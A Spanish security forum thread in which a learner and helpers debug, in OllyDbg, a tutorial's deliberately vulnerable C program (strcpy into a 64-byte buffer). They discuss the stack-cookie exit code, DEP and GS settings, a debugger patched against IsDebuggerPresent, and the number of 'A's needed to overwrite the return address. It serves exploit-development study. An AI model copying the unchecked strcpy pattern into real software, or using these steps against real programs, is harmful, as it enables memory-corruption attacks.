Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Lodos76 en 27 Febrero 2014, 17:43 pm



Título: Error en Buffer Overflow
Publicado por: Lodos76 en 27 Febrero 2014, 17:43 pm
Buenas gente.

Verán, estaba siguiendo el tutorial de Rojodos sobre buffer overflow (http://www.todopsp.com/foros/showthread.php?t=23953 (http://www.todopsp.com/foros/showthread.php?t=23953)  , hay que darle a "Premum Download" y se descarga), y... claro, sé ensamblador y entiendo lo que dice, pero a la hora de poner muchas AAAAAAs (90 As por ejemplo) con el CMD y darle a "más detalles", el offset no es "41414141",  y no entiendo el porqué. He probado a ejecutarlo en un Win8 físico y en una máquina virtual con WinXP Professional SP1 (que no tiene ni siquiera el DEP, al ser SP1), y a debuggearlo con OllyDbg 1.10 y con Immunity Debugger, pero me da el mismo resultado.

En concreto, cuando intento debuggear con Olly sin argumentos, el exit code es 0, y cuando le pongo 90 As y le doy a F9 (run), el exit code es C0000409

He compilado el código fuente desde la consola de MVC++ 2005 (cl.exe /TC vuln1.c).
Subo el ejecutable por si queréis echarle un vistazo: http://bayfiles.net/file/17EMR/HuI4La/vuln1.exe (http://bayfiles.net/file/17EMR/HuI4La/vuln1.exe)


El código compilado es el siguiente:
Código
  1. /* vuln1.c por Rojodos */
  2.  
  3. #include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida
  4.  
  5. int main (int argc, char **argv) // La función "principal" del programa función
  6. {
  7. char buffer[64]; //Declaramos un array con 64 bytes de espacio
  8.  
  9. if (argc < 2) // Si los argumentos son menores que 2...
  10. {
  11. printf ("Introduzca un argumento al programa\n"); //Printeamos
  12. return 0; // y retornamos 0 a la función main, y el programa acaba
  13. }
  14.  
  15. strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.
  16.  
  17. return 0; // Devolvemos 0 a main, y el programa acaba.
  18. }


He probado a seguir el tutorial de Coreland, y con el programa ya compilado del PDF nº 1 sí me funciona lo de modificar el EIP, pero si lo compilo yo no, y no sé por qué.

Gracias de antemano :)


Título: Re: Error en Buffer Overflow
Publicado por: soez en 27 Febrero 2014, 22:16 pm
Tienes que dar más datos, que observas en la pila, esta el buffer de Aes por algun lado? Pon un bp en strcpy y tracea.


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 27 Febrero 2014, 23:01 pm
Tienes que dar más datos, que observas en la pila, esta el buffer de Aes por algun lado? Pon un bp en strcpy y tracea.

Vale, hay un problema aquí:
Abro Olly
Pongo 90 As y Restart
A debuggear!
(http://www.subeimagenes.com/img/1-859844.png)
CommandBar -> BP strcpy (no da ningún error)
Pero no encuentro por el ejecutable la llamada a msvcrt.strcpy o a user32.strcpy, en cambio, cuando compilaba con GCC (Cygwin) sí que me saltaba a una biblioteca suya y a la función strcpy.





Pero bueno, vayamos a la ejecución de código:
Le doy a run y sale esto (http://www.subeimagenes.com/img/2-859845.png), PUES NADA, a debuggear paso por paso.

Sigo ejecutando y salen en la pila las As: (http://www.subeimagenes.com/img/3-859847.png) , sigo ejecutando y me encuentro con esto: (http://www.subeimagenes.com/img/4-859848.png), aunque luego en la pila sólo están las 90 que yo puse). Ya estoy más cerca. Pero sigo ejecutando y me encuentro con que ya no están en la pila las As (http://www.subeimagenes.com/img/5-859849.png) y con IsDebuggerPresent!! pues como no veo saltos condicionales después del call, sustituyo la función por NOPs y continuo ejecutando, y ahora se pushea el ExitCode y se llama a TerminateProcess, y finaliza con el ExitCode que posteé en la entrada del tema (C0000409), (http://www.subeimagenes.com/img/6-859850.png)

Salu2


Título: Re: Error en Buffer Overflow
Publicado por: soez en 28 Febrero 2014, 00:15 am
Has pasado la función strcpy traceando? me parece que si, pon una imagen justo en el call del olly antes de entrar a la función strcpy.


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 28 Febrero 2014, 10:31 am
Has pasado la función strcpy traceando? me parece que si, pon una imagen justo en el call del olly antes de entrar a la función strcpy.

Es lo que te comentaba, no aparece la función como una llamada, no sé si es que se implementa en el ejecutable como código o qué...

Sólo he encontrado interesante la  función kernel32.LCMapStringA.

Click derecho --> Search for --> All intermodular calls
Código:
Found intermodular calls
Address    Disassembly                               Destination
00401437   CALL vuln1.0040390C                       (Initial CPU selection)
00408A40   CALL DWORD PTR DS:[<&KERNEL32.CloseHandl  kernel32.CloseHandle
00409306   CALL ESI                                  kernel32.CloseHandle
004092E3   CALL DWORD PTR DS:[<&KERNEL32.CreateFile  kernel32.CreateFileA
00402642   CALL DWORD PTR DS:[<&KERNEL32.ExitProces  kernel32.ExitProcess
0040734C   CALL DWORD PTR DS:[<&KERNEL32.FlushFileB  kernel32.FlushFileBuffers
00403076   CALL DWORD PTR DS:[<&KERNEL32.FreeEnviro  kernel32.FreeEnvironmentStringsA
0040308D   CALL DWORD PTR DS:[<&KERNEL32.FreeEnviro  kernel32.FreeEnvironmentStringsA
00403033   CALL DWORD PTR DS:[<&KERNEL32.FreeEnviro  kernel32.FreeEnvironmentStringsW
00404255   CALL DWORD PTR DS:[<&KERNEL32.GetACP>]    kernel32.GetACP
0040137A   CALL DWORD PTR DS:[<&KERNEL32.GetCommand  kernel32.GetCommandLineA
00406D57   CALL DWORD PTR DS:[<&KERNEL32.GetConsole  kernel32.GetConsoleCP
00406D3B   CALL DWORD PTR DS:[<&KERNEL32.GetConsole  kernel32.GetConsoleMode
00408BFA   CALL DWORD PTR DS:[<&KERNEL32.GetConsole  kernel32.GetConsoleOutputCP
00404001   CALL DWORD PTR DS:[<&KERNEL32.GetCPInfo>  kernel32.GetCPInfo
004042DB   CALL DWORD PTR DS:[<&KERNEL32.GetCPInfo>  kernel32.GetCPInfo
00408FB2   CALL ESI                                  kernel32.GetCPInfo
00408FCB   CALL ESI                                  kernel32.GetCPInfo
0040221F   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent  kernel32.GetCurrentProcess
004025DB   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent  kernel32.GetCurrentProcess
0040394D   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent  kernel32.GetCurrentProcessId
00403577   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent  kernel32.GetCurrentThreadId
0040383C   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent  kernel32.GetCurrentThreadId
00403955   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent  kernel32.GetCurrentThreadId
00403045   CALL DWORD PTR DS:[<&KERNEL32.GetEnviron  kernel32.GetEnvironmentStringsA
00402F83   CALL EDI                                  kernel32.GetEnvironmentStringsW
004031C7   CALL DWORD PTR DS:[<&KERNEL32.GetFileTyp  kernel32.GetFileType
00403263   CALL DWORD PTR DS:[<&KERNEL32.GetFileTyp  kernel32.GetFileType
00408F44   CALL DWORD PTR DS:[<&KERNEL32.GetLocaleI  kernel32.GetLocaleInfoA
0040298B   CALL DWORD PTR DS:[<&KERNEL32.GetModuleF  kernel32.GetModuleFileNameA
00402ED8   CALL DWORD PTR DS:[<&KERNEL32.GetModuleF  kernel32.GetModuleFileNameA
00402613   CALL DWORD PTR DS:[<&KERNEL32.GetModuleH  kernel32.GetModuleHandleA
0040335D   CALL DWORD PTR DS:[<&KERNEL32.GetModuleH  kernel32.GetModuleHandleA
004033C9   CALL DWORD PTR DS:[<&KERNEL32.GetModuleH  kernel32.GetModuleHandleA
00403474   CALL DWORD PTR DS:[<&KERNEL32.GetModuleH  kernel32.GetModuleHandleA
004036D9   CALL DWORD PTR DS:[<&KERNEL32.GetModuleH  kernel32.GetModuleHandleA
00405403   CALL DWORD PTR DS:[<&KERNEL32.GetModuleH  kernel32.GetModuleHandleA
00404232   CALL DWORD PTR DS:[<&KERNEL32.GetOEMCP>]  kernel32.GetOEMCP
00402623   CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd  kernel32.GetProcAddress
0040336D   CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd  kernel32.GetProcAddress
004033D9   CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd  kernel32.GetProcAddress
0040349D   CALL EBX                                  kernel32.GetProcAddress
004034AD   CALL EBX                                  kernel32.GetProcAddress
004036FB   CALL ESI                                  kernel32.GetProcAddress
00403708   CALL ESI                                  kernel32.GetProcAddress
00403715   CALL ESI                                  kernel32.GetProcAddress
00403722   CALL ESI                                  kernel32.GetProcAddress
00405413   CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd  kernel32.GetProcAddress
004054F7   CALL ESI                                  kernel32.GetProcAddress
0040129B   CALL EBX                                  kernel32.GetProcessHeap
004030B1   CALL DWORD PTR DS:[<&KERNEL32.GetStartup  kernel32.GetStartupInfoA
00402A5B   CALL DWORD PTR DS:[<&KERNEL32.GetStdHand  kernel32.GetStdHandle
00403251   CALL DWORD PTR DS:[<&KERNEL32.GetStdHand  kernel32.GetStdHandle
00407932   CALL DWORD PTR DS:[<&KERNEL32.GetStringT  kernel32.GetStringTypeA
004077CE   CALL DWORD PTR DS:[<&KERNEL32.GetStringT  kernel32.GetStringTypeW
004078BD   CALL DWORD PTR DS:[<&KERNEL32.GetStringT  kernel32.GetStringTypeW
00403941   CALL DWORD PTR DS:[<&KERNEL32.GetSystemT  kernel32.GetSystemTimeAsFileTime
0040395D   CALL DWORD PTR DS:[<&KERNEL32.GetTickCou  kernel32.GetTickCount
004012BF   CALL DWORD PTR DS:[<&KERNEL32.GetVersion  kernel32.GetVersionExA
004038C3   CALL DWORD PTR DS:[<&KERNEL32.HeapCreate  kernel32.HeapCreate
004038F9   CALL DWORD PTR DS:[<&KERNEL32.HeapDestro  kernel32.HeapDestroy
004053AE   CALL DWORD PTR DS:[<&KERNEL32.Initialize  kernel32.InitializeCriticalSection
00403642   CALL DWORD PTR DS:[<&KERNEL32.Interlocke  kernel32.InterlockedDecrement
004041C0   CALL DWORD PTR DS:[<&KERNEL32.Interlocke  kernel32.InterlockedDecrement
004044A6   CALL DWORD PTR DS:[<&KERNEL32.Interlocke  kernel32.InterlockedDecrement
0040455D   CALL DWORD PTR DS:[<&KERNEL32.Interlocke  kernel32.InterlockedDecrement
004047C1   CALL EDI                                  kernel32.InterlockedDecrement
004047CE   CALL EDI                                  kernel32.InterlockedDecrement
004034CF   CALL DWORD PTR DS:[<&KERNEL32.Interlocke  kernel32.InterlockedIncrement
004041EB   CALL DWORD PTR DS:[<&KERNEL32.Interlocke  kernel32.InterlockedIncrement
004044CB   CALL EDI                                  kernel32.InterlockedIncrement
00404737   CALL EDI                                  kernel32.InterlockedIncrement
00404744   CALL EDI                                  kernel32.InterlockedIncrement
004021F0   CALL DWORD PTR DS:[<&KERNEL32.IsDebugger  kernel32.IsDebuggerPresent
00407662   CALL ESI                                  kernel32.LCMapStringA
00407721   CALL DWORD PTR DS:[<&KERNEL32.LCMapStrin  kernel32.LCMapStringA
004073EC   CALL DWORD PTR DS:[<&KERNEL32.LCMapStrin  kernel32.LCMapStringW
00407512   CALL ESI                                  kernel32.LCMapStringW
0040754B   CALL ESI                                  kernel32.LCMapStringW
004075AF   CALL DWORD PTR DS:[<&KERNEL32.LCMapStrin  kernel32.LCMapStringW
004054D8   CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar  kernel32.LoadLibraryA
0040748A   CALL ESI                                  kernel32.MultiByteToWideChar
00407845   CALL ESI                                  kernel32.MultiByteToWideChar
00408CD9   CALL DWORD PTR DS:[<&KERNEL32.MultiByteT  kernel32.MultiByteToWideChar
00408D47   CALL DWORD PTR DS:[<&KERNEL32.MultiByteT  kernel32.MultiByteToWideChar
00403969   CALL DWORD PTR DS:[<&KERNEL32.QueryPerfo  kernel32.QueryPerformanceCounter
0040129E   CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>  ntdll.RtlAllocateHeap
00405BF2   CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>  ntdll.RtlAllocateHeap
00405FC9   CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>  ntdll.RtlAllocateHeap
004068B4   CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>  ntdll.RtlAllocateHeap
004069F1   CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>  ntdll.RtlAllocateHeap
00403B63   CALL DWORD PTR DS:[<&KERNEL32.DeleteCrit  ntdll.RtlDeleteCriticalSection
00401540   CALL DWORD PTR DS:[<&KERNEL32.EnterCriti  ntdll.RtlEnterCriticalSection
00401563   CALL DWORD PTR DS:[<&KERNEL32.EnterCriti  ntdll.RtlEnterCriticalSection
00403EC5   CALL DWORD PTR DS:[<&KERNEL32.EnterCriti  ntdll.RtlEnterCriticalSection
00408EE3   CALL DWORD PTR DS:[<&KERNEL32.EnterCriti  ntdll.RtlEnterCriticalSection
004012CF   CALL DWORD PTR DS:[<&KERNEL32.HeapFree>]  ntdll.RtlFreeHeap
004012F5   CALL DWORD PTR DS:[<&KERNEL32.HeapFree>]  ntdll.RtlFreeHeap
00403ADB   CALL DWORD PTR DS:[<&KERNEL32.HeapFree>]  ntdll.RtlFreeHeap
00405F0C   CALL DWORD PTR DS:[<&KERNEL32.HeapFree>]  ntdll.RtlFreeHeap
00405FFA   CALL DWORD PTR DS:[<&KERNEL32.HeapFree>]  ntdll.RtlFreeHeap
00402F97   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00403519   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00403AEC   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00404C2B   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00406A8F   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00406B1C   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00407118   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00407163   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00407356   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
004073FE   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
004077E0   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00407D6D   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00408A4A   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00408BDA   CALL DWORD PTR DS:[<&KERNEL32.GetLastErr  ntdll.RtlGetLastWin32Error
00401592   CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti  ntdll.RtlLeaveCriticalSection
004015B5   CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti  ntdll.RtlLeaveCriticalSection
00403DD2   CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti  ntdll.RtlLeaveCriticalSection
00408F1B   CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti  ntdll.RtlLeaveCriticalSection
00405F93   CALL DWORD PTR DS:[<&KERNEL32.HeapReAllo  ntdll.RtlReAllocateHeap
00406A48   CALL DWORD PTR DS:[<&KERNEL32.HeapReAllo  ntdll.RtlReAllocateHeap
00406AC9   CALL DWORD PTR DS:[<&KERNEL32.HeapReAllo  ntdll.RtlReAllocateHeap
0040358F   CALL DWORD PTR DS:[<&KERNEL32.SetLastErr  ntdll.RtlSetLastWin32Error
00405465   CALL DWORD PTR DS:[<&KERNEL32.SetLastErr  ntdll.RtlSetLastWin32Error
00408411   CALL DWORD PTR DS:[<&KERNEL32.HeapSize>]  ntdll.RtlSizeHeap
00404F0E   CALL <JMP.&KERNEL32.RtlUnwind>            ntdll.RtlUnwind
00408017   CALL <JMP.&KERNEL32.RtlUnwind>            ntdll.RtlUnwind
00407D60   CALL DWORD PTR DS:[<&KERNEL32.SetFilePoi  kernel32.SetFilePointer
004032BB   CALL DWORD PTR DS:[<&KERNEL32.SetHandleC  kernel32.SetHandleCount
00408DC6   CALL DWORD PTR DS:[<&KERNEL32.SetStdHand  kernel32.SetStdHandle
004021FA   CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl  kernel32.SetUnhandledExceptionFilter
004025B4   CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl  kernel32.SetUnhandledExceptionFilter
0040850D   CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl  kernel32.SetUnhandledExceptionFilter
004039BD   CALL DWORD PTR DS:[<&KERNEL32.Sleep>]     kernel32.Sleep
00403A05   CALL DWORD PTR DS:[<&KERNEL32.Sleep>]     kernel32.Sleep
00403A50   CALL DWORD PTR DS:[<&KERNEL32.Sleep>]     kernel32.Sleep
00402226   CALL DWORD PTR DS:[<&KERNEL32.TerminateP  kernel32.TerminateProcess
004025E2   CALL DWORD PTR DS:[<&KERNEL32.TerminateP  kernel32.TerminateProcess
004033F3   CALL DWORD PTR DS:[<&KERNEL32.TlsAlloc>]  kernel32.TlsAlloc
00403772   CALL DWORD PTR DS:[<&KERNEL32.TlsAlloc>]  kernel32.TlsAlloc
00403451   CALL DWORD PTR DS:[<&KERNEL32.TlsFree>]   kernel32.TlsFree
00403331   CALL ESI                                  kernel32.TlsGetValue
00403348   CALL ESI                                  kernel32.TlsGetValue
0040339D   CALL ESI                                  kernel32.TlsGetValue
004033B4   CALL ESI                                  kernel32.TlsGetValue
00403402   CALL DWORD PTR DS:[<&KERNEL32.TlsGetValu  kernel32.TlsGetValue
00403532   CALL DWORD PTR DS:[<&KERNEL32.TlsGetValu  kernel32.TlsGetValue
0040341F   CALL DWORD PTR DS:[<&KERNEL32.TlsSetValu  kernel32.TlsSetValue
00402204   CALL DWORD PTR DS:[<&KERNEL32.UnhandledE  kernel32.UnhandledExceptionFilter
004025BF   CALL DWORD PTR DS:[<&KERNEL32.UnhandledE  kernel32.UnhandledExceptionFilter
00402AE0   CALL DWORD PTR DS:[<&KERNEL32.UnhandledE  kernel32.UnhandledExceptionFilter
00402B30   CALL DWORD PTR DS:[<&KERNEL32.UnhandledE  kernel32.UnhandledExceptionFilter
00408517   CALL DWORD PTR DS:[<&KERNEL32.UnhandledE  kernel32.UnhandledExceptionFilter
00405FE3   CALL DWORD PTR DS:[<&KERNEL32.VirtualAll  kernel32.VirtualAlloc
0040606E   CALL DWORD PTR DS:[<&KERNEL32.VirtualAll  kernel32.VirtualAlloc
00405E9F   CALL ESI                                  kernel32.VirtualFree
00402FF8   CALL EDI                                  kernel32.WideCharToMultiByte
00404C0D   CALL DWORD PTR DS:[<&KERNEL32.WideCharTo  kernel32.WideCharToMultiByte
00406E0D   CALL DWORD PTR DS:[<&KERNEL32.WideCharTo  kernel32.WideCharToMultiByte
004070DE   CALL DWORD PTR DS:[<&KERNEL32.WideCharTo  kernel32.WideCharToMultiByte
004075D2   CALL DWORD PTR DS:[<&KERNEL32.WideCharTo  kernel32.WideCharToMultiByte
00408C01   CALL DWORD PTR DS:[<&KERNEL32.WideCharTo  kernel32.WideCharToMultiByte
00409093   CALL DWORD PTR DS:[<&KERNEL32.WideCharTo  kernel32.WideCharToMultiByte
004090B9   CALL EBX                                  kernel32.WideCharToMultiByte
00408C1D   CALL DWORD PTR DS:[<&KERNEL32.WriteConso  kernel32.WriteConsoleA
00408BC7   CALL DWORD PTR DS:[<&KERNEL32.WriteConso  kernel32.WriteConsoleW
00402A86   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile
00406E30   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile
00406E71   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile
00406F8B   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile
0040702E   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile
00407105   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile
0040714D   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>  kernel32.WriteFile

P.D.: He tenido que actualizar a WinXP SP3, aunque no importa, ya que el resultado es el mismo (las imágenes y todos los datos que he puesto son con el SP3).


Título: Re: Error en Buffer Overflow
Publicado por: soez en 28 Febrero 2014, 16:21 pm
Tiene que aparecerte la función strcpy, mira en la pestaña B si tienes el breakpoint a strcpy. O si no search for -> names in all modules. Puedes enseñarme el call justo antes del 00401041?


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 28 Febrero 2014, 22:59 pm
Tiene que aparecerte la función strcpy, mira en la pestaña B si tienes el breakpoint a strcpy. O si no search for -> names in all modules. Puedes enseñarme el call justo antes del 00401041?

Vaya, aparece :P.

BP strcpy --> mirar Pestaña B
Código:
7C90248D ntdll Always PUSH EDI

Colocado :D

Presiono run (F9) y --> exitcode C0000409, y termina el programa. Quizá alguna protección de software me lo bloquee...


Click derecho --> Search  for --> Name in all modules
Código:
7C90248D  ntdll  .text  Export  strcpy

Imagen antes del CALL 00401041
(http://www.subeimagenes.com/img/7-860833.png)


Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 28 Febrero 2014, 23:03 pm
En cuanto a la compilación, desactivaste GS?, DEP está desactivado para tal ejecutable?, desmarcaste todos los saltos de excepciones el el debugger?, ya que si no los quitas, el depurador intentará saltarlos y así no podrás percatarte de donde se ha producido el error (que valor toma EIP), más tarde le echaré una mirada, saludos.


Título: Re: Error en Buffer Overflow
Publicado por: soez en 28 Febrero 2014, 23:14 pm
Pon un bp en 00401032 y aprieta run y sacale imagen cuando pare. Te pongo aqui este ollydbg parcheado para que no detecte el IsDebuggerPresent (No me acuerdo si era el parcheado 4 o 5 si eso avisa) por ir eliminando posibilidades. Aunque este DEP activado debería parar en strcpy y ya después se ve. Si, deberias destildar todas las excepciones, puedes mirar la pestaña L log para ver que ha pasado también.

http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/L-M-N-O-P/Parcheado%204.rar


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 28 Febrero 2014, 23:17 pm
En cuanto a la compilación, desactivaste GS?, DEP está desactivado para tal ejecutable?, desmarcaste todos los saltos de excepciones el el debugger?, ya que si no los quitas, el depurador intentará saltarlos y así no podrás percatarte de donde se ha producido el error (que valor toma EIP), más tarde le echaré una mirada, saludos.

Whaaat? ¿Desmarqué? ¿Cómo hago todo eso? No me importa leerme todo lo que me pases, quiero aprender.

He buscado por "desmarcar saltos debugger", "desmarcar jmp debugger" (también en inglés) y no sale nada que me pueda servir.

Y perdón, ahora estoy en SP3, pensé que no se activaría solo... Ya está DEP desactivado.


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 28 Febrero 2014, 23:32 pm
Pon un bp en 00401032 y aprieta run y sacale imagen cuando pare. Te pongo aqui este ollydbg parcheado para que no detecte el IsDebuggerPresent (No me acuerdo si era el parcheado 4 o 5 si eso avisa) por ir eliminando posibilidades. Aunque este DEP activado debería parar en strcpy y ya después se ve. Si, deberias destildar todas las excepciones, puedes mirar la pestaña L log para ver que ha pasado también.

http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/L-M-N-O-P/Parcheado%204.rar


Lo que no sé es por qué Olly no me coloreaba y marcaba dónde estaba la llamada a strcpy.

Lo que me pediste:

(http://www.subeimagenes.com/img/8-860849.png)


He entrado al CALL y creo que hace un loop muchas veces para comparar muchas veces, y luego se va a IsDebuggerPresent y continua normal y tal, pero luego presiono run y me  sale el exitcode C0000409 (termina), y la pila no la he visto con muchos 41414141 (no he visto ningún 41)...


Título: Re: Error en Buffer Overflow
Publicado por: soez en 28 Febrero 2014, 23:39 pm
Con paciencia, tienes que parar justo cuando en la pila te salga algo asi ojo lo estoy poniendo a boleo pero es algo así, saca imagen.

| call to strcpy
| src = 00331274
| dst = 0012FF28

He visto en tus imagenes que el buffer se ha copiado con exito en la pila asi que habrá pasado por ahí, aunque que no te pare en strcpy al darle a run me parece muy raro.

Puede ser que no te este marcando strcpy por tener alguna opción desactivada..


Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 1 Marzo 2014, 00:01 am
Whaaat? ¿Desmarqué? ¿Cómo hago todo eso? No me importa leerme todo lo que me pases, quiero aprender.

He buscado por "desmarcar saltos debugger", "desmarcar jmp debugger" (también en inglés) y no sale nada que me pueda servir.

Y perdón, ahora estoy en SP3, pensé que no se activaría solo... Ya está DEP desactivado.

Que felicidad, leer eso.

Para colorear, debes hacer clic derecho e ir a Aparence, luego en hightlight poner light jumtp and calls, no recuerdo muy bien, en cuanto a las excepciones debes irte a options, debugger optiones y dentro de esta opción te vas a la pestaña Exceptions dentro de ella deberías destildar todo, aunque precisamente es Memorya access violation, ya que es esa excepción la que se genera al sobre-escribir el EIP.

Deja terminar una parte del tutorial de corelan (estoy estudiando al igual que tú, en realidad repasando pero a full) e intento ayudarte, saludos.


Título: Re: Error en Buffer Overflow
Publicado por: soez en 1 Marzo 2014, 00:11 am
aunque precisamente es Memorya access violation, ya que es esa excepción la que se genera al sobre-escribir el EIP.

+1


Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 1 Marzo 2014, 01:51 am
Lo revisé y al parecer debe haber sido compilado con alguna opción extraña, no sé en realidad, cuando lo probé compilando con gcc sin nada extraño, funcionó sin problemas.

Nota: vuln1.exe tiene SafeSEH ON, aunque no debería afectar en nada ya que no estamos sobre-escribiendo el SEH.


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 1 Marzo 2014, 17:33 pm
Primero que nada, muchas gracias por la ayuda que me estáis dando. Me quiero dedicar a la seguridad pero nunca he podido completar ningún exploit por cosas de estas...

Hecho:
1. Jumps'n'calls coloreados (pero me refería a que no veía ningún call que ponga a la derecha strcpy funtion, como pasa con las otras funciones de las DLLs de Windows).
2. Destildadas todas las excepciones (sólo tenía tildada la opción "ignore memory access violations in KERNEL32").

¿Compilado con alguna opción extraña? Qué raro... sólo lo compilé como código C (cl.exe /TC vuln1.c).
Aunque con gcc creo que va bien, el problema es compilar con MCV++.

Respecto a esto:
Código:
| call to strcpy
| src = 00331274
| dst = 0012FF28
¿Te refieres al desensamblado, no a la pila, verdad?
Bueno, abro vuln1.exe en el OllyDbg parcheado contra IsDebuggerPresent, pongo un breakpoint en strcpy y F9.
Vale, ahora se detiene el programa en:  00401032 - CALL 0040150
F7 (entro en el CALL)
Ejecuto algunas instrucciones y entro en el bucle donde se copian los carácteres (podríamos decir que está ejecutando la función strcpy)
Ejecuto unas cuantas veces el bucle y esta esto es lo que veo
(http://www.subeimagenes.com/img/9-861280.png)
Continúo ejecutando el bucle --> Continúa sobreescribiéndose la pila

Continúo ejecutando el bucle hasta el JE SHORT 004010E9 que esta vez NO coge, y si yo he introducido 90 As, en la pila veo 22 valores 41414141 en la pila (aunque 90As/4Bytes=22.5 direcciones con 41414141, no sólo 22, pero bueno). Imagen de donde me encuentro ahora:
(http://www.subeimagenes.com/img/10-861281.png)

Continúo ejecutando y ya se llena el 0.5 que faltaba en la pila (byte,byte,41,41). Me encuentro en  00401041 - CALL 0040120D
Lo cojo! Entro al call a ver qué pasa ;)
Veo muchos MOVs de registros a direcciones que me quitan mis 41414141 de la pila, sigo ejecutando, hago un F8 (ejecutar sin entrar) al CALL de IsDebuggerPresent y sigo ejecutando instrucciones.
Bien, me veo un CALL, y después POP ECX y PUSH 0, luego SetUnhandlerExceptionFilter, luego UnhandledExceptionFilter,ExitCode=C0000409, luego GetCurrentProcess y TerminateProcess, así que entro a ese call a ver qué pasa.
Ese CALL contenía un AND y una instrucción RET, pues nada, sigo ejecutando y termina el programa.


¿Y ahora qué? :/


Título: Re: Error en Buffer Overflow
Publicado por: soez en 1 Marzo 2014, 18:49 pm
De nada para eso estamos. Me refería a la pila no al desensamblado, me interesa más que enseñes la pila. Justo cuando te pares en la función strcpy antes de entrar saca imagen para ver el buffer disponible que te queda para pisar el return, etc..


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 1 Marzo 2014, 20:40 pm
De nada para eso estamos. Me refería a la pila no al desensamblado, me interesa más que enseñes la pila. Justo cuando te pares en la función strcpy antes de entrar saca imagen para ver el buffer disponible que te queda para pisar el return, etc..

(http://www.subeimagenes.com/img/11-861398.png)


Título: Re: Error en Buffer Overflow
Publicado por: soez en 1 Marzo 2014, 22:10 pm
Me parece que te hacen falta 76 Aes justo para pisar el return, pruébalo y comenta el resultado, si te quita la función Aes de la pila etc. Paciencia ya saldrá.


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 2 Marzo 2014, 17:37 pm
Me parece que te hacen falta 76 Aes justo para pisar el return, pruébalo y comenta el resultado, si te quita la función Aes de la pila etc. Paciencia ya saldrá.

Abro Olly parcheado
Arguments -> 76As
Restart
Pongo un BP en el CALL a strcpy (00401032). Pero una pregunta, si yo hago Search for --> Name in all modules, busco strcpy y le pongo un breakpoint, me pone un breakpoint a 7C90248D, no a 0040120D. Entonces, ¿cómo supiste que tenía que hacer un breakpoint a 0040120D a partir del breakpoint a la otra dirección?
RUN
Entro al CALL strcpy y se pushea 0012FF1C - RET ADDRESS 00401037
Continúo ejecutando el CALL
Se ponen todas las As en la pila y llego al JE SHORT que no coge el salto:
(http://www.subeimagenes.com/img/12-862124.png)
(http://www.subeimagenes.com/img/13-862125.jpg)

Ahora llegamos a JE SHORT 00401140, y entro a ver qué ocurre dentro
Ejecuto la primera instrucción, que era un MOV, y ahora los dos ASCII "AAAA..." que había en la pila tienen la misma longitud
Ejecuto algunas instrucciones hasta llegar a una instrucción RET, entonces la ejecuto y el RET ADDRESS 00401037 se quita de la pila.
Ahora estoy así:
(http://www.subeimagenes.com/img/14-862126.png)

